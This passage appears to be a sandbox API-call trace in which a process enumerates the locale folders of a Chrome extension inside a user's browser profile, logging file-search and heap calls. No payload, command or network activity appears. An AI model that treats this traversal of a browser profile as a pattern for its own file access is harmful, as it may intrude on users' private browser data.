ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.182] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e256a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x12a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.182] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e256a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x12a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.182] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0277.183] GetProcessHeap () returned 0x550000 [0277.183] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0277.183] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1 [0277.183] GetProcessHeap () returned 0x550000 [0277.183] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3722060 [0277.183] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0277.183] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.183] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e256a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.183] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e256a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.183] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0277.183] GetProcessHeap () returned 0x550000 [0277.183] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0277.183] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1 [0277.183] GetProcessHeap () returned 0x550000 [0277.183] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3722060 [0277.183] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0277.238] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.238] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x109, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.238] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x109, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.238] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0277.239] GetProcessHeap () returned 0x550000 [0277.239] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0277.239] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0277.239] GetProcessHeap () returned 0x550000 [0277.239] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3722060 [0277.239] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0277.239] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.239] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.239] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.239] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0277.240] GetProcessHeap () returned 0x550000 [0277.240] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0277.240] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es_419", cAlternateFileName="")) returned 1 [0277.240] GetProcessHeap () returned 0x550000 [0277.240] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3722060 [0277.240] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0277.327] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.328] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.328] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.328] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0277.328] GetProcessHeap () returned 0x550000 [0277.328] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0277.328] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0277.328] GetProcessHeap () returned 0x550000 [0277.328] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.328] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0277.328] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.328] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.328] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.328] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0277.328] GetProcessHeap () returned 0x550000 [0277.328] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.328] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1 [0277.328] GetProcessHeap () returned 0x550000 [0277.329] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.329] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0277.334] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.334] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x98, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.334] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x98, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.334] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0277.334] GetProcessHeap () returned 0x550000 [0277.334] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.334] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fa", cAlternateFileName="")) returned 1 [0277.334] GetProcessHeap () returned 0x550000 [0277.334] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.334] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0277.334] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.334] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.334] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.334] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0277.335] GetProcessHeap () returned 0x550000 [0277.335] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.335] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e6fa20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0277.335] GetProcessHeap () returned 0x550000 [0277.335] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.335] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, 